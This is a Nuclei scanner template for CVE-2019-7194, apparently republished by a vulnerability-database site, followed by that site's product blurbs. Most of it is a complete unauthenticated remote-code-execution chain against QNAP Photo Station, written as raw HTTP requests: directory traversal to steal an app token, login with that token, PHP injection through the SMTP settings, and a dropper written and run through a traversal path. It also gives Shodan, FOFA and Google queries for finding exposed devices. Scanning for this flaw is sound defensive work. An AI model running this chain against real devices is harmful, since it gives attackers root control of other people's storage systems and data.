id: CVE-2019-7194
info:
name: QNAP Photo Station < 6.0.3 - Remote Code Execution
author: x-stp
severity: critical
description: |
QNAP Photo Station versions prior to 6.0.3 contain multiple vulnerabilities that, when chained together, enable unauthenticated remote code execution (RCE).
impact: |
Unauthenticated attackers can chain multiple vulnerabilities to achieve remote code execution with root privileges, gaining complete control over the QNAP device and access to all stored data.
remediation: |
Upgrade to QNAP Photo Station version 6.0.3 or later.
reference:
- https://medium.com/bugbountywriteup/qnap-pre-auth-root-rce-affecting-450k-devices-on-the-internet-d55488d28a05
classification:
cvss-score: 9.8
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
cve-id: CVE-2019-7194
cwe-id: CWE-22
epss-score: 0.82966
epss-percentile: 0.99633
cpe: cpe:2.3:a:qnap:photo_station:*:*:*:*:*:*:*:*
metadata:
verified: true
vendor: qnap
product: photo_station
max-request: 10
intrusive: true
shodan-query:
- content-length:"580 "http server 1.0""
- http.title:"photo station"
- http.title:"qnap"
fofa-query:
- title="photo station"
- title="qnap"
google-query:
- intitle:"photo station"
- intitle:"qnap"
tags: cve,cve2019,qnap,rce,photostation,unauth,injection,lfi,kev,intrusive,vkev,vuln
variables:
cleanup_payload: "<?php echo php_uname(); unlink(__FILE__); ?>"
dropper_filename: "{{to_lower(rand_text_alpha(6))}}"
username: "{{to_lower(rand_text_alphanumeric(6))}}"
email_account: "{{username}}@{{to_lower(rand_text_alphanumeric(6))}}.com"
email_passwd: "{{rand_text_alphanumeric(12)}}"
flow: |
http(1) && http(2) && http(3) && http(4) && http(5) && http(6) && http(7)
http:
# Step 1: Set up a fake album slideshow to obtain a usable album_id
- raw:
- |
POST /photo/p/api/album.php HTTP/1.1
Host: {{Hostname}}
Content-Type: application/x-www-form-urlencoded
a=setSlideshow&f=qsamplealbum
extractors:
- type: regex
name: album_id
group: 1
internal: true
regex:
- "<output>([a-zA-Z0-9]+)</output>"
# Step 2: Use album_id to get access_code and PHPSESSID from slideshow.php
- raw:
- |
GET /photo/slideshow.php?album={{album_id}} HTTP/1.1
Host: {{Hostname}}
extractors:
- type: regex
name: access_code
group: 1
regex:
- "encodeURIComponent\\('([A-Za-z0-9%]+)'\\)"
internal: true
- type: regex
part: header
name: phpsessid
group: 1
regex:
- "PHPSESSID=([a-z0-9]+);"
internal: true
# Step 3: Use directory traversal to extract application token (app_token)
- raw:
- |
POST /photo/p/api/video.php HTTP/1.1
Host: {{Hostname}}
Content-Type: application/x-www-form-urlencoded
a=caption&f=UMGObv&album={{album_id}}&ac={{access_code}}&filename=../../../../../share/Multimedia/.@__thumb/ps.app.token
extractors:
- type: regex
name: app_token
group: 1
regex:
- "([a-f0-9]{32})"
internal: true
# Step 4: Authenticate using the app_token to get NAS_SID
- raw:
- |
POST /cgi-bin/authLogin.cgi HTTP/1.1
Host: {{Hostname}}
Content-Type: application/x-www-form-urlencoded
app=PHOTO_STATION&auth=1&app_token={{app_token}}
extractors:
- type: regex
part: body
name: nas_sid
group: 1
regex:
- '<authSid><!\[CDATA\[([a-z0-9]+)\]\]></authSid>'
internal: true
# Step 5: Inject self-deleting PHP payload via SMTP config
- raw:
- |
POST /cgi-bin/userConfig.cgi?sid={{nas_sid}} HTTP/1.1
Host: {{Hostname}}
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest
func=addPersonalSmtp&provider_idx=0&sender={{cleanup_payload}}&default=0&smtp_server=0.0.0.0&port=25&security=-1&email_account={{email_account}}&email_passwd={{email_passwd}}
# Step 6: Trigger slideshow with QMS_SID pointing to dropper path
- raw:
- |
GET /photo/slideshow.php?album=qsamplealbum HTTP/1.1
Host: {{Hostname}}
Cookie: QMS_SID=../../../../../../../../../../mnt/ext/opt/photostation2/{{dropper_filename}}.php; PHPSESSID={{phpsessid}}; NAS_SID={{nas_sid}}; DESKTOP=1;
# Step 7: Execute the dropper (which deletes the file via unlink after poc request)
- raw:
- |
GET /photo/{{dropper_filename}}.php HTTP/1.1
Host: {{Hostname}}
Cookie: PHPSESSID={{phpsessid}}; NAS_SID={{nas_sid}}
matchers:
- type: dsl
dsl:
- status_code == 200 && contains(body, 'NASVARS')
extractors:
- type: regex
part: body
group: 1
regex:
- 'personal_email\|s:\d+:"[^,]*,[^,]*,([^";]+)'
# digest: 4b0a00483046022100e82f2abc44dc25a28ada75e93aa3fbcc7b6c7fddc479ce871f4ad5dba177adf5022100e654d7c446d6978b000b86dcb69285436dd249e470da4df7dbc5fb26655f1367:922c64590222798bb761d5b6d8e72950Data
Build on a solid foundation with Vulners data
We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data
Api
Power your application with Vulners API
The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access
App
Assess and manage vulnerabilities with Vulners tools
Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation